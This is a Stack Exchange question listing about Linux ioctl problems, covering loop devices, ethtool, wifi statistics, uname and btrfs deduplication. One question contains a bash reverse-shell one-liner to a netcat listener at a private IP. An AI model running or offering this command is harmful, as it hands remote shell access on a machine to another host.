Unix & Linux Stack Exchange
Q&A for users of Linux, FreeBSD and other Unix-like operating systems
Latest Questions
2
votes
1
answers
225
views
What is holding a file descriptor to this block device aka why didn't losetup -d remove a block device
There's a number of posts about `losetup -d /dev/loop0` not removing a lookback device, even though it returned a successful return code. I believe the root cause of those posts is that the block device has the `autoclear` flag set, so `losetup` only calls `LOOP_CLR_FD` but not `LOOP_CTL_REMOVE`. So...
There's a number of posts about
losetup -d /dev/loop0
not removing a lookback device, even though it returned a successful return code. I believe the root cause of those posts is that the block device has the autoclear
flag set, so losetup
only calls LOOP_CLR_FD
but not LOOP_CTL_REMOVE
. Some other process must still be holding a file descriptor, so the loop device is not detached nor removed. This is confirmed via strace
:
$ sudo losetup -J -l | jq '.'
{
"loopdevices": [
{
"name": "/dev/loop0",
"sizelimit": 0,
"offset": 0,
"autoclear": true,
"ro": false,
"back-file": "/example/backing_file",
"dio": false,
"log-sec": 512
}
]
}
$ sudo strace -ff losetup -d /dev/loop0
...
newfstatat(AT_FDCWD, "/dev/loop-control", {st_mode=S_IFCHR|0660, st_rdev=makedev(0xa, 0xed), ...}, 0) = 0
openat(AT_FDCWD, "/dev/loop0", O_RDONLY|O_CLOEXEC) = 3
ioctl(3, LOOP_CLR_FD) = 0
close(3) = 0
...
The common answer is to (a) look for all files open on any filesystems mounted from the loop device, and then (b) unmount the loop device. Typically lsof
and /proc/**/fd
are recommended.
My problem is that I am running into this issue for block devices that were never mounted in the first place. I cannot, for the life of me, find which process is holding a file descriptor to this loop device and therefore cannot get it to close.
A quick test C program shows that I can remove the auto-clear flag from the block device:
$ sudo strace -ff --verbose=ioctl /tmp/remove-autoclear
...
openat(AT_FDCWD, "/dev/loop0", O_RDONLY|O_CLOEXEC) = 3
ioctl(3, LOOP_CLR_FD) = 0
close(3) = 0
write(1, "INFO: Result of sending LOOP_CLR"..., 57) = 57
INFO: Result of sending LOOP_CLR_FD to /dev/loop0 was: 0
openat(AT_FDCWD, "/dev/loop-control", O_RDONLY|O_CLOEXEC) = 3
ioctl(3, LOOP_CTL_REMOVE, 0) = -1 EBUSY (Device or resource busy)
write(2, "ERROR(16): Sending LOOP_CTL_REMO"..., 94) = 94
ERROR(16): Sending LOOP_CTL_REMOVE to /dev/loop-control for device 0: Device or resource busy
openat(AT_FDCWD, "/dev/loop0", O_RDONLY|O_CLOEXEC) = 4
ioctl(4, LOOP_GET_STATUS, {lo_number=0, lo_offset=0, lo_flags=LO_FLAGS_AUTOCLEAR, lo_name="/example/backing_file", ...}) = 0
write(1, "INFO: Autoclear bit for /dev/loo"..., 40) = 40
INFO: Autoclear bit for /dev/loop0 is 1
ioctl(4, LOOP_SET_STATUS, {lo_number=0, lo_offset=0, lo_flags=0, lo_name="/example/backing_file", ...}) = 0
ioctl(4, LOOP_GET_STATUS, {lo_number=0, lo_offset=0, lo_flags=0, lo_name="/example/backing_file", ...}) = 0
write(1, "INFO: Successfully removed autoc"..., 56) = 56
INFO: Successfully removed autoclear bit for /dev/loop0
close(4) = 0
ioctl(3, LOOP_CTL_REMOVE, 0) = -1 EBUSY (Device or resource busy)
write(2, "ERROR(16): Sending LOOP_CTL_REMO"..., 94) = 94
ERROR(16): Sending LOOP_CTL_REMOVE to /dev/loop-control for device 0: Device or resource busy
exit_group(16) = ?
+++ exited with 16 +++
INFO: Result of sending LOOP_CLR_FD to /dev/loop0 was: 0
ERROR(16): Sending LOOP_CTL_REMOVE to /dev/loop-control for device 0: Device or resource busy
INFO: Autoclear bit for /dev/loop0 is 1
INFO: Successfully removed autoclear bit for /dev/loop0
ERROR(16): Sending LOOP_CTL_REMOVE to /dev/loop-control for device 0: Device or resource busy
$ sudo cat /sys/dev/block/7:0/loop/autoclear
0
But interestingly that doesn't make losetup -d /dev/loop0
fail with a hard error. This appears to be because LOOP_CLR_FD
sets the auto-clear flag again. This is not relevant to finding the process holding the open file descriptor, I just noted it because it's "spooky action at a distance" and it explains why losetup
never attempts to call LOOP_CTL_REMOVE
.
Any advice for how to go about finding the process holding a file descriptor to /dev/loop0
so that I can properly clean it without rebooting?
$ sudo ls -l /proc/**/fd | grep loop0
$ sudo ls -l /proc/**/fd | grep backing_file
$ sudo lsof | grep loop0
$ sudo lsof | grep backing_file
$ sudo mount | grep loop
Huckle
(1087 rep)
Apr 6, 2025, 10:05 PM
• Last activity: Apr 6, 2025, 10:58 PM
4
votes
3
answers
793
views
How do I read drive status for a USB attached optical drive?
My long-term backups are written to M-Disc platters (100GB BD-R) through a USB-attached BD-RW drive. This works well, but I would like to be able to check if there is a blank disc inserted in the drive at the start of my backup scripts. How do I do that? - command line? - ioctl system call? And how...
My long-term backups are written to M-Disc platters (100GB BD-R) through a USB-attached BD-RW drive. This works well, but I would like to be able to check if there is a blank disc inserted in the drive at the start of my backup scripts.
How do I do that?
- command line?
- ioctl system call?
And how do I decode whatever status bytes it reads out?
Lars Poulsen
(357 rep)
Jan 22, 2025, 12:02 AM
• Last activity: Apr 5, 2025, 08:27 PM
1
votes
1
answers
422
views
Efficiently disable fs-verity on large files
If the `FS_IOC_ENABLE_VERITY` ioctl was used to enable fs-verity on a file (e.g., with the `fsverity enable` command), and then I want to write to that file again, how can I disable fs-verity on it? Right now, my workaround is to copy the file and then delete the original, but this is really ineffic...
If the
FS_IOC_ENABLE_VERITY
ioctl was used to enable fs-verity on a file (e.g., with the fsverity enable
command), and then I want to write to that file again, how can I disable fs-verity on it? Right now, my workaround is to copy the file and then delete the original, but this is really inefficient when the file is large.
Joseph Sible-Reinstate Monica
(4220 rep)
Dec 7, 2021, 08:53 PM
• Last activity: Mar 14, 2025, 12:00 PM
0
votes
1
answers
6064
views
netcat error: Inappropriate ioctl for device
Im trying to create a 'reverse shell' using a bash oneliner and a netcat listener. This combination worked great a few days ago however now it only gives errors when connection. Does anyone know what the error means and how I can troubleshoot or fix it? **Netcat listener** netcat -lvnp 1234 **Bash s...
Im trying to create a 'reverse shell' using a bash oneliner and a netcat listener. This combination worked great a few days ago however now it only gives errors when connection. Does anyone know what the error means and how I can troubleshoot or fix it?
**Netcat listener**
netcat -lvnp 1234
**Bash script:**
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
**Error** (when running the bash script)
bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory
> Not sure if this is the right stackexchange for this question, feel free to move
toom
(101 rep)
Oct 5, 2018, 06:52 AM
• Last activity: Dec 14, 2024, 01:00 PM
0
votes
1
answers
119
views
Why does running "amidi -l" produce an error message that says "Inappropriate ioctl for device"?
When I run `amidi -l` on my Thinkpad X1 Carbon (Generation 5) running Manjaro Linux, instead of no device info appearing in the output (which I'd expect since no MIDI hardware devices are connected) I instead get this error message: > amidi -l Dir Device Name cannot determine device number: Inapprop...
When I run
amidi -l
on my Thinkpad X1 Carbon (Generation 5) running Manjaro Linux, instead of no device info appearing in the output (which I'd expect since no MIDI hardware devices are connected) I instead get this error message:
> amidi -l
Dir Device Name
cannot determine device number: Inappropriate ioctl for device
Running the same command with strace
provides more detail for the call to ioctl
producing the error:
> strace amidi -l
...
ioctl(3, SNDRV_CTL_IOCTL_RAWMIDI_NEXT_DEVICE, 0x7fff73f39dd8) = -1 ENOTTY (Inappropriate ioctl for device)
write(2, "cannot determine device number: "..., 62cannot determine device number: Inappropriate ioctl for device) = 62
...
What does this error message mean and why is it happening?
aoeu
(111 rep)
Aug 13, 2024, 09:02 PM
• Last activity: Aug 13, 2024, 09:13 PM
1
votes
1
answers
444
views
Can I trigger an auto-negotiation of an interface using the ethtool userspace API with NETLINK sockets?
I would like to replicate the behavior of `ethtool -r` when auto-negotiation is active in my C++ code with NETLINK sockets. I search the CLI `ethtool` [source code](https://git.kernel.org/pub/scm/network/ethtool/ethtool.git/tree/ethtool.c#n3435) and I found that they use IOCTL sockets and the comman...
I would like to replicate the behavior of
ethtool -r
when auto-negotiation is active in my C++ code with NETLINK sockets. I search the CLI ethtool
[source code](https://git.kernel.org/pub/scm/network/ethtool/ethtool.git/tree/ethtool.c#n3435) and I found that they use IOCTL sockets and the command of ethtool ETHTOOL_NWAY_RST
. According to kernel docs [here](https://docs.kernel.org/networking/ethtool-netlink.html#request-translation) , this command has not been translated to NETLINK sockets. Before I give up, I just want know if there is another approach to get the same behavior.
### What I tried so far
- I have static routes in the interface, so turning down and up the interface would not work because I lose those routes. This does not happen with ethtool -r
.
- For the same reason the ip link set down/up [dev]
behavior also would not be ideal in my case.
My code is currently working using the CLI of ethtool
, but a more clean and better approach would be to use the userspace API directly. My code has already been made for NETLINK sockets and that's why I prefer this approach.
I would appreciate any help. Thanks
Jairo Mejia
(36 rep)
Nov 7, 2023, 02:39 PM
• Last activity: Jun 5, 2024, 03:42 PM
3
votes
2
answers
284
views
How does the Linux Kernel store hardware TX and RX filter modes?
I am working on a C program which gets the timestamping information for a given network interface, like my own version of ethtool. My goal is to get the information printed by `$ ethtool -T myNetIf`. Something like: ``` Time stamping parameters for myNetIf: Capabilities: hardware-transmit (SOF_TIMES...
I am working on a C program which gets the timestamping information for a given network interface, like my own version of ethtool. My goal is to get the information printed by
$ ethtool -T myNetIf
. Something like:
Time stamping parameters for myNetIf:
Capabilities:
hardware-transmit (SOF_TIMESTAMPING_TX_HARDWARE)
software-transmit (SOF_TIMESTAMPING_TX_SOFTWARE)
hardware-receive (SOF_TIMESTAMPING_RX_HARDWARE)
software-receive (SOF_TIMESTAMPING_RX_SOFTWARE)
software-system-clock (SOF_TIMESTAMPING_SOFTWARE)
hardware-raw-clock (SOF_TIMESTAMPING_RAW_HARDWARE)
PTP Hardware Clock: 0
Hardware Transmit Timestamp Modes:
off (HWTSTAMP_TX_OFF)
on (HWTSTAMP_TX_ON)
Hardware Receive Filter Modes:
none (HWTSTAMP_FILTER_NONE)
all (HWTSTAMP_FILTER_ALL)
Since I don't want to just scrape the command line output, I have figured out that I can use an ioctl
call to query this information from ethtool and get my flags back as an unsigned integer.
struct ifreq ifr;
memset(&ifr, 0, sizeof(struct ifreq));
struct ethtool_ts_info etsi;
memset(&etsi, 0, sizeof(struct ethtool_ts_info));
etsi.cmd = ETHTOOL_GET_TS_INFO;
strncpy(ifr.ifr_name, dev, sizeof(ifr.ifr_name)); // dev is read from stdin
ifr.ifr_data = (void *)&etsi;
ioctl(sock, SIOCETHTOOL, &ifr); // sock is an AF_INET socket
The ethtool_ts_info
struct which (I believe) contains the data I want is defined [here](https://github.com/torvalds/linux/blob/2ac2b1665d3fbec6ca709dd6ef3ea05f4a51ee4c/include/uapi/linux/ethtool.h#L1455) . Specifically, I grab the so_timestamping
, tx_types
, and rx_filters
fields.
Using the same example interface, the value of so_timestamping
is 0x5f
, or 0101 1111
. A look at net_tstamp.h
[confirms](https://github.com/torvalds/linux/blob/2ac2b1665d3fbec6ca709dd6ef3ea05f4a51ee4c/include/uapi/linux/net_tstamp.h#L17) that these are the expected flags.
My issue, however, is in interpreting the values of tx_types
and rx_filters
. I assumed that the value of tx_types
would be something like 0x3
(0011
, where the 3rd bit is HWTSTAMP_TX_ON and the 4th is HWTSTAMP_TX_OFF). Alternatively, since the possible transmit modes are defined in [an enum](https://github.com/torvalds/linux/blob/2ac2b1665d3fbec6ca709dd6ef3ea05f4a51ee4c/include/uapi/linux/net_tstamp.h#L98) with 4 values, perhaps the result would be 0100
, where each int
enum value is 2 bits.
This is not the case. The actual value of tx_types
is 0x7fdd
. How on Earth am I supposed to get "HW_TX_OFF and ON" from 0x7fdd
? I find the value of rx_filters
even more confusing. What is 0x664758eb
supposed to mean?
Besides the kernel source code itself, I haven't been able to find much helpful information on this. I think I've done everything right, I just need some help understanding my results.
Robbie
(63 rep)
Mar 21, 2024, 09:08 PM
• Last activity: Mar 25, 2024, 06:30 PM
10
votes
2
answers
16012
views
bash: no job control in this shell
I have a minimal Linux system. init is `/bin/bash`, only bare minimum of libraries in `/lib/`, `/dev/` is populated statically, no daemons running (no udev, ..) When bash starts, I get following error: bash: cannot set terminal process group (-1) inappropriate ioctl for device bash: no job control i...
I have a minimal Linux system.
init is
/bin/bash
, only bare minimum of libraries in /lib/
, /dev/
is populated statically, no daemons running (no udev, ..)
When bash starts, I get following error:
bash: cannot set terminal process group (-1) inappropriate ioctl for device
bash: no job control in this shell
When I start bash with strace, I get following output:
rt_sigprocmask(SIG_BLOCK, NULL, [], 8) = 0
open("/dev/tty", O_RDWR|O_NONBLOCK) = -1 ENXIO (No such device or address)
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0
....
readlink("/proc/self/fd/0", "/dev/console"..., 4095) = 12
stat("/dev/console", {st_mode=S_IFCHR|0600, st_rdev=makedev(5, 1), ...}) = 0
open("/dev/console", O_RDWR|O_NONBLOCK) = 3
It looks, as if bash cannot open /dev/tty
. But /dev/tty
exists in /dev/
and has correct permissions:
ll /dev/tty*
crw-rw-rwT 1 root root 5, 0 2014-Sep-29 23:39:47 dev/tty
crw------T 1 root root 4, 0 2015-Dec-23 20:10:18 dev/tty0
crw------T 1 root root 4, 1 2015-Dec-23 20:10:18 dev/tty1
Why cannot bash
open /dev/tty
? And what does the ENXIO
error mean ?
Martin Vegter
(586 rep)
Dec 23, 2015, 07:13 PM
• Last activity: Jan 24, 2024, 07:57 PM
0
votes
0
answers
206
views
Non-root access to a wifi adapter via ioctl in Linux app - how to grant?
I'm trying to debug a Qt5 c app in Ubuntu 20.04 on Odroid board. The app communicates with wifi adapter via ioctl(), eg: ``` int fd = iw_sockets_open(); struct ifreq ifreq; //ifreq.ifr_name holds "wlxe894f617ebe6" from "iw dev" output if (ioctl(fd, SIOCSIFFLAGS, &ifreq) == -1) { return FALSE; } ```...
I'm trying to debug a Qt5 c app in Ubuntu 20.04 on Odroid board. The app communicates with wifi adapter via ioctl(), eg:
int fd = iw_sockets_open();
struct ifreq ifreq;
//ifreq.ifr_name holds "wlxe894f617ebe6" from "iw dev" output
if (ioctl(fd, SIOCSIFFLAGS, &ifreq) == -1) {
return FALSE;
}
The problem is that it works only when run as sudo. When I run it from QtCreator, it fails at above ioctl() call returning -1, perror() saying "Operation not permitted". From under sudo it passes and works furhter normally.
lsusb names adapter as:
Bus 001 Device 012: ID 148f:5572 Ralink Technology, Corp. RT5572 Wireless Adapter
iw dev gives:
phy#0
Interface wlxe894f617ebe6
ifindex 3
wdev 0x1
addr e8:94:f6:17:eb:e6
type managed
txpower 20.00 dBm
Also, the adapter seems to have no corresponding file in the /dev/ directory. How to grant user access to ioctl() in this case?
I tried to grant the access like with other usb devices, adding the line
SUBSYSTEM=="usb", ATTRS{idVendor}=="148f", ATTRS{idProduct}=="5572", MODE="0666"
to /etc/udev/rules.d/50-myusb.rules, but with no result. I thought I should add the user to some group like "wlan" or alike, but can't find any group name which could be related here.
wowa
(1 rep)
Oct 20, 2023, 01:27 PM
• Last activity: Oct 20, 2023, 03:25 PM
0
votes
0
answers
194
views
What is the right usage of SIOCGIWSCAN to scan WIFI AP?
I am working on an embedded Linux system (kernel 5.10.24), there is a WLAN interface in the system. Now I want to scan the nearby AP, I _think_ I can use socket and SIOCGIWSCAN command to get the AP list, but I cannot find detailed document on the usage of structure of `struct iwreq` in this scannin...
I am working on an embedded Linux system (kernel 5.10.24), there is a WLAN interface in the system.
Now I want to scan the nearby AP, I _think_ I can use socket and SIOCGIWSCAN command to get the AP list, but I cannot find detailed document on the usage of structure of
struct iwreq
in this scanning.
So is there any MAN page or example code on the struct iwreq
and SIOCGIWSCAN
for my reference?
wangt13
(631 rep)
May 31, 2023, 08:00 AM
2
votes
1
answers
4575
views
Any tool to do ioctl() from bash?
I try to make an `ioctl()` call from bash. This is very easy to do in C, so there are tools ( https://github.com/jerome-pouiller/ioctl ) which wrap this functionality. But it would make the distribution of my script a lot harder, because I would have to distribute that tool along with it. Is there a...
I try to make an
ioctl()
call from bash. This is very easy to do in C, so there are tools ( https://github.com/jerome-pouiller/ioctl ) which wrap this functionality.
But it would make the distribution of my script a lot harder, because I would have to distribute that tool along with it.
Is there any other tool that is already included in the Debian APT repositories that can do the same? So that I could just do a simple apt install
from the script?
Maestro
(211 rep)
May 16, 2023, 09:46 PM
• Last activity: May 17, 2023, 06:47 AM
0
votes
2
answers
114
views
uname: what ioctl does it use?
Does anyone know if `uname()` makes an `ioctl()` call directly or indirectly? I reviewed the source, however didn't see that it does. I also used `strace` and did not see the kernel call made. Thanks strace uname execve("/usr/bin/uname", ["uname"], 0x7fffe60bef30 /* 35 vars */) = 0 brk(NULL) = 0x559...
Does anyone know if
uname()
makes an ioctl()
call directly or indirectly? I reviewed the source, however didn't see that it does. I also used strace
and did not see the kernel call made.
Thanks
strace uname
execve("/usr/bin/uname", ["uname"], 0x7fffe60bef30 /* 35 vars */) = 0
brk(NULL) = 0x559dc7796000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=161332, ...}) = 0
mmap(NULL, 161332, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fd0c9384000
close(3) = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260A\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1820400, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fd0c9382000
mmap(NULL, 1832960, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fd0c91c2000
mprotect(0x7fd0c91e4000, 1654784, PROT_NONE) = 0
mmap(0x7fd0c91e4000, 1339392, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7fd0c91e4000
mmap(0x7fd0c932b000, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x169000) = 0x7fd0c932b000
mmap(0x7fd0c9378000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b5000) = 0x7fd0c9378000
mmap(0x7fd0c937e000, 14336, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fd0c937e000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7fd0c9383540) = 0
mprotect(0x7fd0c9378000, 16384, PROT_READ) = 0
mprotect(0x559dc6f13000, 4096, PROT_READ) = 0
mprotect(0x7fd0c93d3000, 4096, PROT_READ) = 0
munmap(0x7fd0c9384000, 161332) = 0
brk(NULL) = 0x559dc7796000
brk(0x559dc77b7000) = 0x559dc77b7000
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=3031632, ...}) = 0
mmap(NULL, 3031632, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fd0c8edd000
close(3) = 0
uname({sysname="Linux", nodename="debian", ...}) = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
write(1, "Linux\n", 6Linux
) = 6
close(1) = 0
close(2) = 0
exit_group(0) = ?
+++ exited with 0 +++
Nick
(205 rep)
May 6, 2023, 05:39 PM
• Last activity: May 6, 2023, 06:07 PM
5
votes
2
answers
5024
views
Are ioctl calls blocking?
I am writing some code around libgpiod's interface. For example, I want to set a line to output high. [Under the hood](https://git.kernel.org/pub/scm/libs/libgpiod/libgpiod.git/tree/lib/core.c#n961), libgpiod opens an fd provided by the kernel for the line, and then calls `ioctl(fd, GPIO_V2_LINE_SET...
I am writing some code around libgpiod's interface. For example, I want to set a line to output high. [Under the hood](https://git.kernel.org/pub/scm/libs/libgpiod/libgpiod.git/tree/lib/core.c#n961) , libgpiod opens an fd provided by the kernel for the line, and then calls
ioctl(fd, GPIO_V2_LINE_SET_VALUES_IOCTL, ...)
.
My questions are:
- Is this particular ioctl()
call (with the GPIO_V2...
argument) theoretically (potentially) blocking in the same way that *writing* to an arbitrary file descriptor can be?
- Are ioctl()
calls in general theoretically blocking? For example, requesting the line in the first place also involves an ioctl()
on a fd for the chip. What about I2C ioctl()
s?
- If it is blocking, is the underlying fd
in the line struct (line->fd_handle->fd
) the one I need to wait on in an event loop (eg. epoll()
or an abstracted event library like libuv)?
I have tried to answer this question through research, but (a) searching for any combination of "ioctl" and "blocking" just gives results for *setting* a fd to be blocking or not and (b) it's not in the man pages or kernel docs that I can find.
detly
(5390 rep)
Jul 1, 2021, 04:39 AM
• Last activity: May 2, 2023, 08:47 AM
10
votes
3
answers
11447
views
Why is CAP_NET_ADMIN insufficient permissions for ioctl(TUNSETIFF)?
I'm trying to write a tun/tap program in Rust. Since I don't want it to run as root I've added CAP_NET_ADMIN to the binary's capabilities: $sudo setcap cap_net_admin=eip target/release/tunnel $getcap target/release/tunnel target/release/tunnel = cap_net_admin+eip However, this is not working. Everyt...
I'm trying to write a tun/tap program in Rust. Since I don't want it to run as root I've added CAP_NET_ADMIN to the binary's capabilities:
$sudo setcap cap_net_admin=eip target/release/tunnel
$getcap target/release/tunnel
target/release/tunnel = cap_net_admin+eip
However, this is not working. Everything I've read says that this is the only capability required to create tuns, but the program gets an EPERM on the ioctl. In strace, I see this error:
openat(AT_FDCWD, "/dev/net/tun", O_RDWR|O_CLOEXEC) = 3
fcntl(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)
ioctl(3, TUNSETIFF, 0x7ffcdac7c7c0) = -1 EPERM (Operation not permitted)
I've verified that the binary runs successfully with full root permissions, but I don't want this to require sudo to run. Why is CAP_NET_ADMIN not sufficient here?
For reference, I'm on
Linux version 4.15.0-45
there are only a few ways I see that this ioctl can return EPERM in the kernel (https://elixir.bootlin.com/linux/v4.15/source/drivers/net/tun.c#L2194) and at least one of them seems to be satisfied. I'm not sure how to probe the others:
if (!capable(CAP_NET_ADMIN))
return -EPERM;
...
if (tun_not_capable(tun))
return -EPERM;
...
if (!ns_capable(net->user_ns, CAP_NET_ADMIN))
return -EPERM;
Teague Lasser
(103 rep)
Mar 17, 2019, 04:29 AM
• Last activity: Feb 17, 2023, 05:45 PM
1
votes
1
answers
263
views
Is there ever a reason to query ioctl for hardware info when we have sysfs?
My assumption is that `sysfs` is built using `ioctl` queries, meaning all the information you would want (or at least most of it) is already available by simply reading files on `sysfs`. I notice some programs (e.g., `hdparm`) still use `ioctl` calls rather than simply hitting `sysfs` , and I'm curi...
My assumption is that
sysfs
is built using ioctl
queries, meaning all the information you would want (or at least most of it) is already available by simply reading files on sysfs
. I notice some programs (e.g., hdparm
) still use ioctl
calls rather than simply hitting sysfs
, and I'm curious if there's a reason for that. Is sysfs
unreliable? If you're only interested in hardware info, is there a reason to use ioctl
over sysfs
?
Bob Odenkirk
(25 rep)
Jul 5, 2022, 04:14 PM
• Last activity: Jan 4, 2023, 09:27 PM
1
votes
0
answers
497
views
ioctl SIOCGIWSTATS signal level constantly 0
I have a block of C code that gets a variety of information about a network interface, namely the SSID and the signal level in dBm: ```c #include #include #include #include #include #include #include #include #include #include #define WIRELESS_INTERFACE "wlp2s0" int main () { // Communicate using io...
I have a block of C code that gets a variety of information about a network interface, namely the SSID and the signal level in dBm:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define WIRELESS_INTERFACE "wlp2s0"
int main () {
// Communicate using ioctl to get information
struct iwreq wreq;
int sockfd;
char *ssid;
// Allocate memory for the request
memset(&wreq, 0, sizeof(struct iwreq));
// Assign our interface name to the request
sprintf(wreq.ifr_name, WIRELESS_INTERFACE);
// Open socket for ioctl
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
fprintf(stderr, "FAILED 1");
exit(1);
}
// Get SSID
wreq.u.essid.pointer = ssid;
wreq.u.essid.length = 32;
if (ioctl(sockfd, SIOCGIWESSID, &wreq) == -1) {
fprintf(stderr, "FAILED 2");
exit(2);
}
fwrite(wreq.u.essid.pointer, 1, wreq.u.essid.length, stdout);
struct iw_statistics *stats;
int8_t signalLevel = 0;
wreq.u.data.pointer = (struct iw_statistics *)malloc(sizeof(*stats));
wreq.u.data.length = sizeof(*stats);
wreq.u.data.flags = 1;
if (ioctl(sockfd, SIOCGIWSTATS, &wreq) == -1) {
fprintf(stderr, "FAILED 3");
exit(3);
}
if (((struct iw_statistics *)wreq.u.data.pointer)->qual.updated &
IW_QUAL_DBM) {
fputs("\nSignal valid\n", stdout);
// signal is measured in dBm and is valid for us to use
signalLevel =
((struct iw_statistics *)wreq.u.data.pointer)->qual.level - 256;
}
fprintf(stdout, "\nsignalLevel %d\n", signalLevel);
}
Compiling and running with gcc stackoverflow.c -o stackoverflow && ./stackoverflow
will always output the following:
Erebus
Signal valid
signalLevel 0
I have tried a new sockfd
and wreq
variable for each ioctl
call but this does not work.
I can confirm that other tools correctly report the signal level:
➜ nmcli -f IN-USE,SIGNAL,SSID device wifi
IN-USE SIGNAL SSID
84 other1
80 other2
75 Erebus
75 --
75 other3
75 Erebus
* 72 Erebus
65 other3
25 other5
20 other6
However one tool confirmed to be using the same ioctl calls does not work, iwconfig wlp2s0
gives Signal level=0 dbm
.
Information about my system:
➜ uname -a
Linux jack-laptop 5.15.0-52-generic #58-Ubuntu SMP Thu Oct 13 08:03:55 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 22.04
Edit: I believe this is a driver specific issue so adding on information about the wireless driver:
02:00.0 Network controller: Qualcomm Atheros QCNFA765 (rev 01)
Subsystem: Lenovo Device 9309
Kernel driver in use: ath11k_pci
Kernel modules: ath11k_pci
Jack828
(11 rep)
Nov 7, 2022, 09:46 PM
• Last activity: Nov 8, 2022, 09:17 AM
8
votes
2
answers
8885
views
GNU/Linux: "device mapper: create ioctl failed" "device or resource busy"
I can't mount my encrypted devices anymore. The error is: device mapper: create ioctl failed device or resource busy This error arises both with two different programs to access TrueCrypt encrypted devices: TrueCrypt and Tc-play. In this case, the recommendation is to remove `/dev/mapper/truecrypt*`...
I can't mount my encrypted devices anymore.
The error is:
device mapper: create ioctl failed
device or resource busy
This error arises both with two different programs to access TrueCrypt encrypted devices: TrueCrypt and Tc-play.
In this case, the recommendation is to remove
/dev/mapper/truecrypt*
directories, or look for processes that are blocking the device. However, there is no /dev/mapper/truecrypt*
directory, and lsof
returns nothing.
One TrueCrypt device takes a whole HDD. According to fdisk
, this partition is formatted with HPFS/NTFS.
Another TrueCrypt device is on a partition on /dev/sda
. According to fdisk
, this partition is "Linux" (ext3 or ext4, if I remember correctly).
What could be causing the error?
Software:
- Debian GNU/Linux 6
Eleno
(1859 rep)
Jun 19, 2014, 02:02 PM
• Last activity: Oct 10, 2022, 12:36 PM
1
votes
1
answers
445
views
Not understanding the use of EVIOCGRAB for touchscreen devices
I am looking at a userspace library which handles touchscreen events from the Linux kernel. The following line of code, I can't understand what it does. What is the purpose of `EVIOCGRAB` when passed to ioctl here with the touchscreen file descriptor ,and why exactly is it required? ioctl(fd, EVIOCG...
I am looking at a userspace library which handles touchscreen events from the Linux kernel.
The following line of code, I can't understand what it does. What is the purpose of
EVIOCGRAB
when passed to ioctl here with the touchscreen file descriptor ,and why exactly is it required?
ioctl(fd, EVIOCGRAB, (void *)1);
Google searches of EVIOCGRAB
don't give me much i'm afraid. Thanks in advance.
Engineer999
(1233 rep)
Jun 2, 2022, 08:26 PM
• Last activity: Jun 2, 2022, 10:29 PM
-3
votes
1
answers
609
views
Reparenting a process
I create a Linux Kernel Module and I try to find a way to **re-parent a given process** or **change a given process PID**. Is there any way of doing that? I found the following link but I could not make it work. https://www.smartspate.com/can-change-pid-process-linux-using-kernel-module/
I create a Linux Kernel Module and I try to find a way to **re-parent a given process** or **change a given process PID**. Is there any way of doing that?
I found the following link but I could not make it work.
https://www.smartspate.com/can-change-pid-process-linux-using-kernel-module/
superuser
(1 rep)
Apr 30, 2022, 06:07 PM
• Last activity: May 5, 2022, 12:51 PM
3
votes
1
answers
443
views
FIDEDUPERANGE ioctl doesn't behave as expected on btrfs
According to [ioctl_fideduperange](https://www.man7.org/linux/man-pages/man2/ioctl_fideduperange.2.html), > The maximum size of *`src_length`* is filesystem dependent and is typically 16 MiB. However, I've been able use `src_length` of > 1 Gib successfully with a single call to `ioctl`.  I...
According to [ioctl_fideduperange](https://www.man7.org/linux/man-pages/man2/ioctl_fideduperange.2.html) ,
> The maximum size of *
src_length
* is filesystem dependent
and is typically 16 MiB.
However, I've been able use src_length
of > 1 Gib successfully with a single call to ioctl
. Is that warning about 16 MiB just a complete exaggeration, at least for btrfs
?
Also, according to [the VFS documentation](https://www.kernel.org/doc/html/latest/filesystems/vfs.html) ,
> Implementations must handle callers passing in len == 0; this means “remap to the end of the source file”.
However, when I try setting src_length
to 0
, the ioctl
call succeeds but without doing anything.
Am I misreading these two sentences, or does the btrfs
implementation simply not conform (well) to the documentation? I'm testing on Linux Mint 20 with kernel 5.4.0-62-generic
. I'm using filefrag -sv FILE1 FILE2
to check the block-level allocation of the files, to see if they're duplicated or not. I'm using the program below to deduplicate the files. The files in question are on a RAID-1 btrfs
filesystem (on LUKS-encrypted partitions) created with sudo mkfs.btrfs -mraid1 -draid1 /dev/mapper/sda1_crypt /dev/mapper/sdb1_crypt
.
Scenario:
$ cp -f file1 file2
$ filefrag -sv file1 file2 # see that files use different extents (are not deduplicated)
$ myprog file1 file2
$ filefrag -sv file1 file2 # see that files use the same extents (have been deduplicated)
Program to deduplicate two files:
